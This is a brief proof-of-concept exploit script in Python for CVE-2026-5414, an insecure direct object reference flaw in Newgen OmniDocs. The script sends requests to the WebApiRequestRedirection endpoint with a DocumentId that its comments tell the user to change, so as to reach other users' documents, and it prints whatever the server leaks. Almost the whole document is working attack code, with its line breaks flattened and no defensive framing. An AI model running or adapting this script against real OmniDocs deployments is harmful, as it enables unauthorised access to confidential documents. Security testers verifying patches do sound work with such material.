CVE-2026-5414 Newgen OmniDocs IDOR漏洞

import requests # Target configuration target_host = "http://target-ip:port" vulnerable_path = "/omnidocs/WebApiRequestRedirection" # The DocumentId parameter is vulnerable to IDOR # An attacker can change this ID to access other documents payload_params = { "DocumentId": "12345" # Try changing this value } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } try: # Sending the request response = requests.get(target_host + vulnerable_path, params=payload_params, headers=headers, timeout=10) # Check if the response indicates success or data leakage if response.status_code == 200: print("[+] Potential access gained to DocumentId:", payload_params["DocumentId"]) print("[+] Response snippet:", response.text[:200]) else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")